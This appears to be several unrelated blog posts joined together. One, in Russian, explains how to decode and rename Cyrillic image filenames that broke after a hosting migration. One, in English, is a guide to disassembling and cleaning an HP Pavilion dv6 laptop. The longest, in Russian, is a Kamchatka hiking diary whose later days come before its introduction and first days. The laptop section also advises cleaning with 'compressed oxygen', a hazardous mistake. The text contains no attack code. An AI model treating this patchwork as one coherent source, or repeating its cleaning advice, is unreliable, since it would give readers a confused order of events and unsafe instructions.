У всех бывает ситуация, когда «shit happens». Вот и меня в далеком 2017 она настигла. Я тогда перенес с выделенного сервера все свои сайты на хостинг Бегет (кстати, рекомендую), чтобы их вылечить и изолировать друг от друга.
Переносил, потому что на выделенке сайты как правило не изолированы друг от друга и безопасность системы = безопасности самого слабого сайта. В итоге все проекты заразились вирусами от одного сайта, который работал на старой версии Joomla. Когда переносил, забыл проверить, есть ли файлы с кириллическими названиями. Об этом и будет наш сегодняшний рассказ:)

При переезде с сервера на сервер у вас могут «поломаться» кириллические имена файлов и из за этого, например, на сайте перестанут отображаться картинки. В общем, перестанут работать все файлы, которые были названы кириллицей.

Было название «Острый-и-Плоский-Толбачики.jpg», а стало «#U041e#U0441#U0442#U0440#U044b#U0439-#U0438-#U041f#U043b#U043e#U0441#U043a#U0438#U0439-#U0422#U043e#U043b#U0431#U0430#U0447#U0438#U043a#U0438.jpg»

И из за этого у меня в двух статьях Путешествие по Камчатке. Часть 1 и Путешествие по Камчатке. Часть 2 слетели все картинки. Вот пример, как это выглядело (две картинки уже переименовал):

Что же делать?!

Открываем хостинг, скачиваем файлы, которые когда-то были названы кириллицей:

Получаем кучу файлов с непонятными названиями. На самом деле это просто кодировка Unicode, которая чуть-чуть изменена. Нужно все символы # заменить на %, для этого я использовал программу Sublime Text. Вы можете использовать любой редактор, который умеет массово заменять символы, тот же Notepad++ прекрасно с этим справится.

Далее текст вида

%U041e%U0441%U0442%U0440%U044b%U0439-%U0438-%U041f%U043b%U043e%U0441%U043a%U0438%U0439-%U0422%U043e%U043b%U0431%U0430%U0447%U0438%U043a%U0438

вставляем в сервис http://www.online-decoder.com/ru или https://www.abakbot.ru/online-5/225-dekodirovat-tekst-u0xxx-onlajn

и с помощью нехитрых манипуляций с кнопками:

или

получаем текст

Острый-и-Плоский-Толбачики

Так пробегаемся по каждому файлу. Переименовываем. Получаем примерно такое:

И казалось бы — готово! Но нет:)

Открываем страницы, где располагались наши картинки и проверяем, все ли хорошо отображается.

Там, где отображается до сих пор плохо (картинки по прежнему не грузятся) — копируем url картинки и берем название из него и вставляем в нужный файл. Благо, теперь все файлы читаемы и мы знаем какую картинку нужно переименовать.

На этом все. И помните: НЕ ИПОЛЬЗУЙТЕ кириллические названия для любых файлов в интернете — будет меньше проблем:)

It is worth mentioning that this laptop, unlike my HP ProBook 4710s (about which I wrote in the article How to
disassemble a laptop HP Probook), is disassembling very easy! As a constructor of Lego!

I want to draw your attention to several aspects:

1) Bolts from the bottom of the lid do not removing completely, they are fixed to the lid itself (if you do not know how to
take off — see the video);
2) Before removing upper panel, you need a blade to cut the sticker, which is in the «battery compartment»;
3) If you use a vacuum cleaner, then only on the smallest capacity and not touching the board (you can touch the
transistors \ condensers \ etc.) It is better to use compressed oxygenwhich is on sale in computer stores.

Thus, the disassembling procedure looks like this:

Remove the battery -> Unscrew and remove the bottom cover -> We took out the RAM, hard disk -> disconnect the
cable, as shown in the video -> Remove the DVD-Rom -> Do not forget to put the screws «on the shelves,» or boxes ->
Unscrew bolts that hold keyboard -> Picks (as shown in the video) the keyboard and remove it -> detach cables ->
unscrew 11 screws, then turn over the upper cover -> Remove the top cover -> unplug the power cord and cables ->
detach the display -> Clean the fan from «contagion» — > Putting it all back.

Of course, you can not do all these steps if you need to get only the hard drive or replace the RAM 😉
And here are some photos:

Motherboard — view from above

Downtrodden with dust the fan

The fan with detached the plastic plate of the monitor — if you look closely, you can see dust between 2 lobes

This is about 1 \ 2 of all dust, pulled out of the fan

I want to say that this Pavilion dv6 is only 10 months from date of purchase! And you can pull these pieces of dust
already… So please be careful and clean your laptops and computers!

This is my first experience of video editing!

Released video article: How to change thermal paste on your laptop. Take a look!

PS: Download the user manual of HP Pavilion dv6 Maintenance and Service Guide, a mirror (Yandex.Disk).
Download the user manual of HP Pavilion dv7 Maintenance and Service Guide

This is a translation. Original article is here.

Good luck! Your Atamovich

12 день. Переход на реку Толуд

Первый переход в одиночку — всего около 7-9 км. Но сложная местность, вначале необходимо было пересечь лавовый поток (что очень не просто, если не знать специального места для перехода, отмеченного белыми линиями). Затем небольшой подъем в гору, где мы на высоте 1400 метров, затем спуск до 1000 метров, но на местности много оврагов, и по пути шлаковая пустыня постепенно переходящая в “альпийские луга”. Появляется ягода: шикша, голубика, брусника. В пути я успел и ягоды поесть (я особо никуда не спешил), и чая попить, вышел я в 10 утра, пришел на Толуд к 14-30. На реке Толуд оказалась геофизическая станция “ТОЛУД” – деревянная изба с печкой. Вторую половину дня я посветил поиску воды, что не составило труда. Ручей, впадающий в р. Толуд оказался пересохшим, но сама река Толуд была, ширина русла порядка 3 метров, а поток воды шириной всего 20-30 см, но мне этого хватило. Так же в избе обнаружились книги, которые очень мне пригодились в ближайшие два дня.

Также рядом с домом живет евражка (американский или беренгийский суслик), окна в доме с целью утепления были заклеены полиэтиленом. Ночью был сильный ветер и дождь. Я ночевал в доме, так как дом окружен стлаником, в котором может жить медведь. Когда остаешься один, начинаешь прислушиваться ко всем звукам, если слабые нервы, то они могут и не выдержать, в темноте начинаешь вспоминать всякие истории про “черных геофизков”)). От ветра полиэтилен на окнах издавал хлопающие звуки, приставная деревянная лестница стучала по стене дома. В общем, ещё тот дом ужасов) Но я ко всему довольно быстро привык и первая ночь прошла спокойно.

13 день. Дневка на Толуде, книга о Японии

Дождь с утра стоял стеной, поэтому я принял решение остаться на субботу (13 день) и переждать непогоду в доме, так как в тумане всё равно не имеет смысла передвигаться – во-первых тяжело, во-вторых никаких красот не видно. К тому же я немного приболел , и потому было бы не плохо отлежаться и отоспаться один денёчек. Весь день читал книгу 1993 года про Японию. Автор книги объяснял их экономическое чудо тем, что на предприятиях существовал общинный строй, то есть если раньше общины были в деревнях и человек делал все ради своей общины, то теперь такие же порядки были и на предприятиях. Руководство фирм проявляло отеческую заботу о рабочих, они же от этого усерднее работали. Еще один фактор – пожизненный найм рабочих. То есть, если тебя взяли в крупную фирму (общину), то работой ты обеспечен на всю жизнь – никто тебя не уволит. Естественно освещались и негативные стороны. Но это всё так, в общих чертах. Днём было холодно, и потому я растопил печку, но было жаль тратить те немногие заготовленные дрова.

Немного о дровах, вулканологах и туристах. Бытует мнение, что вулканологи и геофизики не любят туристов (на своем опыте я убедился в обратном). Почему? Поясню. Туристы путешествую по природным паркам Камчатки зачастую в глухих местах натыкаются на домики вулканологов или сейсмостанции, представляющие из себя обычные деревянные дома с печкой. И домики зачастую пустуют, а мудрые научные сотрудники перед консервацией домика всегда делают запасы дров и оставляют немного еды. И многие туристы спокойно сжигают дрова, а их запас не возобновляют, естественно это бесит вулканологов и геофизиков. Но я старался быть хорошим человеком и сжег в итоге совсем немного дров и в замен оставил избыточные газовые баллоны и крупу.

14 день. Погода всё хуже

Воскресенье, 24 число. Погода всё такая же – дожди и туманы. К тому же я до конца не выздоровел и потому решил ещё день отсидеться на геофизической станции. В этот день я подумал, что моё одиночное путешествие вроде как на грани срыва из-за непогоды и Ключевскую группу вулканов я так и не увижу. Книга про Японию к обеду закончилась, пришлось искать другую. Нашел воспоминания генерала Герасимова, начальника охранного отделения в Санкт-Петербурге в 1905-1909 годах. Книга о борьбе с революционерами и террористами, о секретной агентуре, об Азефе.

15 день. Просветление

С утра на удивление ясное небо, Острый и Плоский Толбачики очень хорошо видно, также как и вулкан Большая Удина. Всё, в путь! Наконец-то! А то уже засиделся. В этот день я прошёл перевал Толуд, до него около 4-5 км вдоль реки, сначала по берегам стланик растёт, и идти невозможно (я шел по пересохшему руслу реки, поток воды опять же был очень маленьким), затем, с набором высоты, стланик пропал, осталась лишь ягодная тундра: шикша, голубика, брусника. Интересным событием стало то, что я увидел второго медведя – в 300 метрах от меня, он просто пробежал мимо, кажется, он даже меня и не заметил, просто бежал по своим делам.

Кстати, когда один передвигаешься по таким местностям, важно следить за обстановкой на все 360 градусов вокруг себя.

Перевал Толуд находится на высоте 1500 метров, с него открывается вид на вулканы Камень (4500 м), Безымянный (3000 м) и Ключевскую сопку (4800 м) и отдельно стоящий от них вулкан Овальная Зимина. Перевал никакой сложности не представляет. Также хочу отметить, что в данной местности никаких троп нет, идешь по абсолютно дикой местности, просто по направлению – в этом есть свой особый вкус свободы передвижения.

С перевала я спустился в долину между тремя точками – вулканы Толбачики, вулкан Овальная Зимина и вулкан Большая Удина. Далее я прошел аж до следующего перевала – Толбачинского (1500 метров). Всего за этот день я прошел около 16 км, перепад высоты около 700 метров. Я поставил палатку всего в 1 км от перевала и решил следующие два дня сделать 2 радиальных выхода – один на гору Поленница, другой до каньона реки Студёная.

В это день, кроме медведя, я так же видел лису, и огромное количество евражек (сусликов). Я даже боялся, что они мне палатку прогрызут – настолько их было много. Всю ночь они пищали и бегали вокруг палатки. А ещё, в целях обезопасить себя от пришествия медведя ночью, я всю еду вынес из палатки (при этом завернув в дождевик) и положил перед окошком палатки, чтобы можно было за ней наблюдать. Ночью вначале шугался каждого шороха, вспоминал про группу Дятловцев и другие страшные истории, но, в конце концов, расслабиться помогла книга с воспоминаниями генерала Герасимова, которую я прихватил с собой.

16 день. Гора Поленница

Радиальный выход. Без труда перебрался за перевал, и передо мной открылось огромное поле с конусом посередине, а вокруг лавовые камни (словно огромный японский сад камней). Где искать гору Поленницу я не знал и потому просто пошел в сторону перевала Безымянный. С перевала бежал небольшой ручеек, но вода была очень мутная, потому я решил в поисках воды зайти на ручей Нижний Размывочный, всё равно по пути. Где находится Поленница, каких она размеров я не знал и потому вначале бегал до каждой большой группы камней. Но потом устал от этого и решил идти в сторону перевала Безымянный. Я уже почти добрался до поворота на перевал и отчаялся найти Поленницу, но каково было мое удивление, когда Поленница оказалась прямо перед носом – она была прям на повороте в сторону перевала Безымянный, а рядом выложена куча надписей и бабочка из камней.

Так как до Поленницы добрался всего за два с половиной часа, то решил в этот же день сходить до каньона на реке Студёной. Отправился вдоль по ручью Нижний Размывочный (он как раз впадает в Студеную), но по пути увидел в 300-400 метрах медведя, который двигался в мою сторону, но меня пока не видел. Я решил шугануть его сигналом охотника, благо ветер был в его сторону, это сработало, и медведь скрылся за сопкой, но желание идти в ту сторону у меня совсем пропало, я вернулся в лагерь.

17-18 дни. Путь назад

Среда и четверг (27 и 28 августа) были потрачены на возвращение к южным склонам Толбачиков и лавовым полям. Настала реальная жара, пот катился с меня градом, ручьи стали еще меньше, с водой было действительно напряженно, зато вокруг ни одного облачка – красота. Но видимо второй месяц путешествий стал сказываться на организме, и был какой-то общий упадок сил. 6 км от Толуда до лагеря геофизиков преодолевал с трудом около 5 часов. У перехода лавового поля впервые за семь дней встретил двух людей – мужчину и женщину, поздоровался с ними и пошел дальше. Уже на подходе к лагерю геофизиков я заподозрил что-то не ладное и увидел, что от лагеря остались лишь деревянные каркасы. Как выяснилось позже, они уехали 27 числа (хотя планировали 31), а я вернулся 28. Фиаско. Как теперь отсюда выбираться? Надежду давал джип, который стоял недалеко от бывшего лагеря геофизиков. Рядом с ним я скинул рюкзак и оставил записку под дворником, чтобы без меня не уезжали, а сам пошел искать другие лагеря тургрупп, но тщетно — их я не нашел. Вся надежда оставалась на джип. Напомню, этот день был 28 августа, а самолет у меня 1 сентября, я нахожусь в шлаковой пустыни в 500 км от Петропавловска-Камчатского и аэропорта. Не самая радостная ситуация. Но всё разрешилось, когда вернулись хозяева джипа, те самые, которых я видел с другой стороны лавового потока. Они сказали, что завтра меня вывезут отсюда, но через Мёртвый лес, а дальше в Лазо и Атласово, а не через Козыревск. Вечером встали лагерем в Мёртвом лесу.

19 день. Отъезд из шлаковой пустыни

Выяснилось, что между Лазо и Атласово существует паромная переправа, через реку Камчатку, которая работает либо рано утром, либо с 18 до 21 вечера. Хозяева джипа решили ехать ближе к вечеру, мне же это было очень не удобным, но я ничего поделать не мог. Первую половину дня мы потратили на осмотр Мёртвого леса и лавовых пещер (снова). Пообедали и в дорогу. Стоит отметить, что дорога в Лазо во много раз лучше, чем в Козыревск, но она постепенно зарастает, видимо, не популярна из-за паромной переправы. В 18-30 меня высадили на трассе Козыревск – Петропавловск-Камчатский, а сами поехали дальше на север в Эссо. Перспектива ехать автостопом до Петропавловска-Камчатского в ночь мне не очень улыбалась, но делать было нечего. Дорога гравийная и если мимом ехала машина, то она поднимала тучу пыли. Машину я ждал 40 минут, из-за того, что их поток был очень маленький, а те, которые шли, бывали полностью загружены, и меня взять не могли. Но в 19-10 меня подобрали ягодники, дед с бабушкой, и согласились подвезти до Мильково (120 км), от Мильково до Петропавловска-Камчатского еще 300 км. В Мильково мы были в 21-00, они спросили в какую мне гостиницу, я ответил, что поеду дальше в Петропавловск. Они же предложили остаться у них и нормально выспаться, сходить в душ, поесть. В общем, в этот раз мне снова повезло, и я заночевал в Мильково, а не в лесу или на какой-нибудь остановке. Тут же у бабушки купил икру по 600 р. за килограмм (на рынке продают за 1700).

20 день. Автостоп Мильково – Петропавловск-Камчатский

С утра дед отвез меня на трассу за город. Утро субботы – не лучшее время для автостопа, поток машин ооочееень маленький 6 – 7 машин в час. В итоге меня впервые подобрала девушка, раньше (пока ехал автостопом Екатеринбург-Петербург) останавливались только водители мужчины. Она оказалась бизнесменом, а сейчас ехала с дочкой в деревню Шоромы, провезла меня 50 км. Еще 250 км осталось, подумал я, и застрял под Шоромами еще на 2 часа, здесь уже поток машин был 1-2 машины в час. В сторону Мильково ещё ехал народ, но в сторону Петропавловска положение было удручающим. Но меня все таки подобрал джипик с мужем и женой лет 45-50, которые довезли до Елизово (30 км от города), оттуда я уже на автобусе доехал до Петропавловск-Камчатского. По пути заезжали покушать гигантские пирожки в Сокочи, и на Малкинские источники натуральной, газированной воды.

С моим проживанием в Петропавловске-Камчатском отдельный разговор. Тот каучсерфер (Вадим Борисович), у которого я жил раньше, уже не мог меня принять на оставшиеся дни (у него приехала жена), и он договорился с другими ребятами, что я у них поживу. Ребята эти оказались москвичами, окончившими МГУ (физический факультет), и переехавшими на Камчатку работать учителями в школе. Очень романтичные ребята, Алексей и Ольга. Но в день моего приезда (суббота 30 число) они уехали на Южную Камчатку и ехать мне было некуда, поэтому Вадим Борисович оставил меня на своей работе, он начальник какого-то отдела, отвечающего за воду и отопление в городе. В общем, ночевал я на топчане в бойлерной и общался со сменщиком Вадима Борисовича — Павлом, который весь вечером мне рассказывал про последние исследования торсионных полей, когда он только начала с этой фразы у меня в голове пронеслось — «Ну все капец». Но ту ночь я пережил.

21 день. Стирка

С утра позвонил Алексею и приехал к ним домой, наконец-то получил возможность нормально помыться и постирать вещи. Целый день просто балдел в спокойной и дружелюбной обстановке.

22 день. Отъезд

Понедельник, 1 сентября. Вылет в 16-10. Но еще есть дела — отдать GPS и фальшфейеры. На автобусе доехал до центра города и вернул гиду Александру GPS, и далее меня подобрала Светлана и отвезла на своем джипике в аэропорт. По пути заехали сфотографироваться у нового памятника — «Здесь начинается Россия». 2 года назад его не было. На этом мое путешествие по Камчатке заканчивается, но впереди еще 3 недели каякинга на Алтае — на самом деле путешествие никогда не закончится, и скучать не придется.

Заключение

Считаю путешествие прошло крайне удачно, практически все мои планы были выполнены, кроме осмотра каньона реки Студеной, но это компенсировалось поездкой на голубые озера.

Так же за время путешествия:

— Посмотрел на трех медведей.

— Познакомился с множеством хороших людей, с некоторыми из которых остались контакты.

— Проехал автостопом 500 км.

— Потратил всего 48 000 рублей.

— Семь дней путешествия в одиночку, в одном из красивых мест мира, без мобильной связи, Wi-fi и людей.

Если вы давно хотели посетить Камчатку, то не откладывайте, просто купите туда билеты. Если будут вопросы по маршрутам, билетам, контактам — пишите, помогу)

И вот спустя 2 года я снова отправился на Камчатку, с 10 августа до 1 сентября 2014 года. План мероприятий был такой:

• Приезд, размещение, отоспаться после перелета, купить: газ, продукты, средства от медведей.
• Трёхдневное посещение южной Камчатки:
  • Термальная ГеоТЭЦ
  • Дачные горячие источники
  • Мини долина гейзеров
  • Вулкан Мутновский
  • Вулкан Горелый
• Двенадцатидневный поход по Центральной Камчатке:
  • Вулкан Плоский Толбачик
  • Мертвый лес, конусы северного прорыва, лавовые пещеры
  • Лавовые потоки
  • В одиночку обойти вулкан Плоский Толбачик, посмотреть на всю Ключевскую группу вулканов и добраться до памятника природы – горы Поленница.

Изначально поездка была рассчитана на двоих, но за шесть месяцев до поездки я узнал, что моя напарница поехать не сможет, и в то же время я прочитал книгу Марины Галкиной “Одна на краю света” – об её одиночном, двухмесячном путешествии по Чукотке. Вдохновившись её историей, я решил совершить одиночное путешествие. Поэтому поиск нового напарника отпал сам собой.

Вообще на Камчатке довольно сложно с общественным транспортом и потому до многих мест очень трудно добраться, и путешественникам приходится либо нанимать джип (дорого), либо ехать автостопом (бесплатно). Но проблему с транспортом (заброской на маршруты) я решил довольно интересным способом, написав местному турклубу, занимающемуся также коммерческим туризмом, что, мол, я с материка, но тур покупать не хочу, мол, я сам себе турист и поэтому попросил меня просто закинуть на маршрут, а деньги взять только за топливо. И турклуб согласился, в отличие от обычных турагентств.

Старт. Первый день на Камчатке

Момент начала путешествия сложно определить, так как одна поездка перетекла в другую. Первого августа я приехал автостопом в Санкт-Петербург, прожив там 3 дня, я отправился в Екатеринбург сменить маленький рюкзак на походную снарягу и рюкзак в сто двадцать литров. В тот же день, 6 августа, выехал в Нижневартовск, откуда у меня 9 августа был вылет в Новосибирск.

В Новосибирске я остановился у Игоря Коротаева – моего старого знакомого. В тот день мне показали Академгородок, Обское море, а также рассказали много интересного про Филиппины, Сингапур, Гонконг. В общем, я вдохновился Юго-Восточной Азией и взял ее на заметку. 10 августа был вылет в Хабаровск, в Хабаровске я оказался в 7 утра уже 11 числа, (хороший такой скачок во времени). Три часа ожидания, и я стартую в Петропавловск-Камчатский.

Но, стоп! Приключения начались еще в новосибирском автобусе, по дороге от железнодорожного вокзала до аэропорта. Ехать минут сорок, и поэтому я решил разговориться с соседкой, которую звали Светлана, оказалось, что она тем же рейсом летит на Камчатку, а сама она с Петропавловска-Камчатского. После перелета до Камчатки она предложила сходить с ней и её друзьями на выходных в двухдневный сплав, но если сплава не будет, то можно будет прогуляться до Голубых озер, у меня как раз это вписывалось между Южной и Центральной Камчаткой, и я согласился.

При выходе из самолета на глаза сразу же попадаются домашние вулканы – Авачинская и Корякская Сопки, и ты понимаешь в какой прекрасный край прилетел. В аэропорту Свету встречали, заодно и меня подвезли до города. Замечу, что в Петропавловске-Камчатском жил я не в гостинице или хостеле, а снова у каучсерферов. Мои каучсёрферы работали до восьми вечера, и их нужно было ждать. Так как прилетели мы в два часа дня, то необходимо было куда-то себя деть на эти шесть часов свободного времени. Тяжелый рюкзак было решено оставить у Светы. А я тем временем хотел съездить и купить газ, но из-за длительных перелетов и разницы во времени мне дико хотелось спать (при перелете на Дальний Восток нужно всегда это учитывать), и потому я проспал на кухонном диване Светы, пока она сама ездила по своим делам. Вот так мне крайне повезло отоспаться в спокойной обстановке, а не мучиться 6 часов от безделья и дикого желания закрыть глаза и уснуть где-нибудь на лужайке в городе, благодаря случайной встрече в автобусе.

Стоит заметить, что Петропавловск–Камчатский — город, вытянутый в нитку длиной 10 километров вдоль Авачинской бухты, и перемещаться по городу бывает довольно затруднительно и долго. Света же вечерам согласилась подвезти меня на другой конец города к моим каучсерферам – опять же повезло.

Второй день на Камчатке

Вторник 12 августа — по плану в этот день я должен был закупить продовольствие (лучше всего для этого сеть супермаркетов Шамса), газ (Альпиндустрия или ТЦ «Квартал»), средства от медведей.

С едой проблем не возникло. Газа в Альпухе не оказалось, зато он нашелся в ТЦ «Квартал». А вот со средствами от медведей всё оказалось намного сложнее, фальшфейеров нигде не было в наличии, так что лучше покупать их заранее на материке.

Средства от медведей:

• Простейший свисток (медведи боятся резких звуков)
• Фальшфейеры – лучше покупать в пластиковой оболочке, а не в бумажной. Эффективны при встрече с медведем нос к носу. Очень тяжелые, лучше покупать одну штуку
• Сигнальные огни охотника, хороши для отпугивания медведей на большом расстоянии, многоразовое использование, к тому же очень легкие.

Стоит иметь при себе все три средства. Но у меня на тот момент был только свисток, а всё остального купить так и не удалось. Все эти средства нужны мне были только на Центральной Камчатке, на Южную можно было ехать и без них. Поэтому я позвонил Светлане и попросил до субботы поискать фальшфейеры у знакомых (пока я буду на южной камчатке), к тому моменту мы определились, что в субботу-воскресенье отправимся на Голубые озера.

Также у меня не было GPS – а на Камчатке он крайне необходим, так как погода очень быстро меняется, и могут надолго нагрянуть туманы.

Итог дня: купил газ и продукты, нет GPS и фальшфейеров.

3 день. Отъезд на Южную Камчатку

Среда, 13 августа. С утра я приехал в турклуб им. Глеба Травина (именно с ним договаривался по поводу транспорта), познакомился с гидом тургруппы Александром, поваром Ниной и водителем Алексеем. По договоренности меня должны были просто отвезти к Мутновскому вулкану, но по пути я подружился с гидом и поваром, и таким образом все последующие три дня на Камчатке я жил вместе с группой, передвигался и питался вместе со всеми — в этом мне повезло (в который раз уже).

Далее стало известно, что Александр (гид) также поедет со мной на Центральную Камчатку (значит, и там меня будут кормить около трёх дней, пока группа не уедет.). А когда он узнал, что я собираюсь в одиночку обойти Толбачик, да еще и без GPS, назвал меня отчаянным (так меня еще многие будут называть в дальнейшем) и сказал, что может одолжить свой GPS совершенно бескорыстно, так что благодаря очередной случайности и везению решился вопрос с навигацией.

В этот день так же познакомился с тургруппой, среди которых стоит выделить двух москвичей лет 40 (Витя и Саша), они дали мне важную информацию о состоянии дороги и потоке машин от Сковордино до Якутска и дальше до Магадана. Три года назад они прилетели во Владивосток, купили микроавтобус и проехали через Якутск в Магадан. А так, как я планирую на будущий год проехать автостопом по маршруту Екб – Новосиб – Иркутск – Якутск – Магадан, то их информация о дорогах в Якутии и Магаданской области была крайне интересной для меня.

Из достопримечательностей мы посмотрели на термальную ГеоТЭЦ, искупались в горячих источниках (Дачные) и увидели мини-долину гейзеров (воистину Камчатка земля огня и льда!).

4 день. Происшествие с медведем и Мутновский вулкан

Четверг, 14 августа. Утром я проснулся в 6 утра от громких голосов, посмотрев на часы удивился, что все встали так рано, затем услышал 3 хлопка и подумал, что кто-то пускает салют (ага, в 6 утра-то). Далее я сообразил, что это выстрелы и решил вылезти из палатки. Оказалось вот, что произошло. Медведь-пестун (молодой 2-3 летний) медведь, которого недавно прогнала мать) явился в наш лагерь под утро в поисках еды, его каким-то образом увидел кореец-фотограф из соседнего лагеря. Пока медведь вёл себя хорошо, кореец его просто снимал на фотоаппарат, медведь же съев найденную лепешку хлеба, решил поискать еду в одной из палаток (ей оказалась палатка нашего гида Александра). Медведь оставил след пяти когтей на тенте палатки, но дальше не полез, потому что кореец закричал “Тика! Тика!” (на корейском типа “Не надо! Не надо!”) и застучал ложкой по тарелке, которая валялась рядом. Медведь резких звуков испугался, к тому же все начали вылезать из палаток, далее, откуда ни возьмись, появился егерь и тремя выстрелами отогнал медведя подальше. Так как мы находились на территории парка, то убивать медведей может только егерь, и так как было известно, что медведь в окрестностях начал донимать людей, то егерь был вызван еще пару дней назад. Вот такое бодрое утро. Остаток дня был посвящен восхождению на вулкан Мутновский, который представляет из себя три кратера, со множеством серных выходов, фумаролами, мини гейзерами, кипящими грязевыми котлами.

5 день. Снова медведь, восхождение на вулкан Горелый

В шесть часов утра снова прозвучали три выстрела. Зная, что это уже точно не салют, я быстренько покинул палатку, чтобы посмотреть на судьбу медведя. Но на этот раз егерь бил наверняка — медведь был убит. Стоит добавить, что за последние два года популяция медведей на Камчатке сильно увеличилась, и потому всем медведям пищи не хватает, как следствие голодные медведи лезут в населенные пункты и число задранных ими людей значительно выросло этим летом. А данный медведь на середину августа был очень худой – за лето он совсем не отъелся, и потому следующую зиму, скорее всего, не пережил бы.

Остаток дня был посвящен переезду под вулкан Горелый и восхождению на него. Оба восхождения (на Мутновский и Горелый) сложности не представляют, на оба вулкана протоптаны хорошие тропы (трудно заблудиться). У Горелого 12 кратеров, но мы осмотрели 3 самых интересных. При спуске наткнулся на 72-летнего японца, который, несмотря на свой возраст, всё-таки забрался на вулкан, но спускаться начал раньше своей группы (чтобы их не задерживать потом), его сопровождала второй гид из их группы. И когда я проходил мимо пригодился нож, который я носил в рюкзаке 3 дня просто на всякий случай. У японца свело ногу и потребовалось, что-то острое, я одолжил свой нож, судорогу сняли. Так же пригодились пара фраз на японском языке, которые я выучил пару лет назад. Пообщавшись с гидом и японцем, я оставил им ручку на всякий случай, вдруг судорога повторится, а сам побежал догонять свою группу.

В конце дня выехали назад в Петропавловск–Камчатский, по пути заехав искупаться в Верхне-Паратунские горячие источники. По пути выяснилось, что в городе на ближайшие три дня (суббота-понедельник) отключают горячую и холодную воду! Таким образом, я лишился возможности постирать вещи и нормально помыться (зато покупался в горячих источниках).

6-7 дни. Голубые озера и новые знакомства

Суббота-воскресенье, 16-17 августа. В ночь с пятницы (5 день) на субботу (6 день) ночевал у каучсёрферов. В субботу, часов в 12, приехал некто Александр, парень лет 27, кандидат сельхоз наук, из Оренбурга. Вернулся он как раз с Плоского Толбачика (Центральная Камчатка), куда я и собирался ехать через пару дней, поэтому, немного поделившись впечатлениями, он сказал, что попал в хорошую погоду и ему там очень понравилось. В 14 часов за мной заехала Света и на ее джипике мы поехали в Елизово, за ее подругой Надей, и оттуда сразу на Голубые озера. Что такое Голубые озера? Это 16 км пути по лесу к истокам реки Половинки, а в конце тебя ждёт три очень красивых, голубых озера, из которых вытекает река и красивый массив гор называемый «цирком». В первый день мы прошли только 8 км, ночевать решили не в палатках, а в домиках (бесплатных), так как в данном районе люди постоянно натыкаются на медведей. На ужин сварили уху.

В 7 день (воскресенье) встали пораньше и отправились до озер налегке, оставив вещи в лагере. Под вечер были дома в Петропавловске — Камчатском, медведя на тропе так и не встретили.

Вечером Александр из Оренбурга подарил мне сигналы охотника, так что к моему свистку добавилось что-то более весомое.

Пока я был на южной Камчатке, Светлана нашла 2 фальшфейера в пластиковой оболочке, так что вопрос с ними также успешно разрешился.

8 день. Отъезд в Козыревск (Центральная Камчатка)

Понедельник, 18 августа. Познакомился с новой группой. До Козыревска — 500 км, а ехать на вахтовке десять часов. Почему? Да потому что дороги на Камчатке – гравийные, и очень мало асфальта (он только от Петропавловск-Камчатского до Мильково, и то не везде). Так как гостиница в Козыревске на меня не оплачена (я плачу только за вахтовку), то ночевал я в самой вахтовке (вспомнилась Киргизия). По пути, кстати, делали остановку в Сокочах и ели гигантские пирожки за 70-80 рублей.

9 день. Дорога из Козыревска до вулкана Плоский Толбачик

Мы ехали на шлаковые поля БТТИ (Большое трещинное Толбачинское извержение) 1975-1976 годов (южнее Плоского Толбачика) и новые лавовые потоки (извержение 2012–2013 годов). Дорога от Козыревска длиной около 70 км. По бездорожью. Ехали около 6 часов. Постепенно лес сменился шлаковыми полями. Последнюю часть пути ехали вдоль остывшей лавы 2013 года.

Оставшаяся половина дня была посвящена установки лагеря (в условиях сильного ветра мы обкладывали палатки камнями, чтобы их не унесло этим самым ветром) и осмотру лавовых потоков. Важное замечание, воды в данном месте практические нет. Один из немногих источников – это тающие снежники и ледники на Толбачиках, но до них далековато идти, потому вся вода здесь привозная. И с собой необходимо иметь емкости для воды, в сумме около 4 л.

По приезду мне оставалось решить лишь один вопрос: как уехать отсюда до Петропавловска–Камчатского, так как группа с которой я приехал уезжала через два дня, а я оставался еще на неделю. Поэтому, сразу после установки лагеря, я отправился исследовать окрестности и наткнулся на лагерь геофизиков, которые заявили, что будут уезжать только 31 августа (у меня самолет 1 сентября). Я с ними быстренько познакомился и подружился. Я подумал, что вернувшись сюда числа 29, если никого не найду (другие тургруппы) до 31, то уеду с геофизиками и успокоился по поводу моего отъезда из данного района.

10 день. Восхождение на Плоский Толбачик

Высота вулкана всего 3000 м. Никакой специальной акклиматизации не требуется, снаряжения — тоже. Наверх ведёт тропа. Единственное, что на вершине холодно, а внизу тепло, потому с собой нужно взять теплые вещи и что-нибудь ветрозащитное. И очки солнцезащитные. И термос с чаем. И печеньки). Подъем на вершину занимаеи около 4 часов. В тот день я разговаривал на английском больше, чем в автобусном туре по Норвегии. Вообще сложилось впечатление, что иностранных туристов на Камчатке больше, чем русских. В основном европейцы, реже корейцы, японцы, китайцы. Европейцы почти все пенсионеры, но очень бодро забираются на вулканы. Познакомился с немцем, который жил в ГДР и учился в Киеве, даже неплохо помнит русский язык.

В лагерь вернулись часов в шесть. Стоит отдельно рассказать про лавовые поля. Снаружи они остыли, а вот внутри температура может сохраняться на уровне 1000 градусов, и потому из лавовых разломов может исходить горячий воздух и различные газовые пары, я наблюдал, как четверо геофизиков сидели у разлома лавы и сушили там свои ботинки, плюс сами грелись. Кстати на Ключевской группе вулканов неплохо ловит МТС.

11 день. Мертвый лес, лавовые пещеры, отъезд группы

С утра собрали лагерь, кроме моей палатки, которая осталась в гордом одиночестве. Тут меня еще пару раз назвали отчаянным, но я уже привык. Все вместе в вахтовке выехали в Мёртвый лес. Мёртвый лес – это деревья, засыпанные на половину своей высоты вулканическим шлаком в 1975-1976 годах. Но за сорок лет старые деревья превратились в сушняк и погибли, и на шлаке сначала появился мох и лишайник, затем трава. Теперь, спустя сорок лет, есть места, где растут новые деревья.

Посетили кратер Звезда, в который ведут лавовые пещеры. Стоит кстати отметить, что среди группы была Наталья Медведева – директор Нижегородской газеты “Студия НН”. Оказалось, что у нас есть общая знакомая – Руфина (с ней я познакомился, путешествуя по Норвегии) – не мир тесен, а слой тонок.

Далее была интересная сцена, перед поворотом на Козыревск, вахтовка остановилась, открылась дверь, и из нее вылетел небольшой рюкзак и мягко приземлился на шлак вулканический, затем выпрыгнул я. Вся вахтовка дружно помахала мне руками, и они уехали, а я остался один посреди шлаковой пустыни, в шести километрах от лагеря. До палатки я дошел за полтора часа, по пути встретив несколько туристических лагерей с вахтовками (они вселили в меня надежду, что и через неделю, когда я вернусь, их будет столько же много).

С этого момента и начинаются мои семь дней одиночного путешествия.

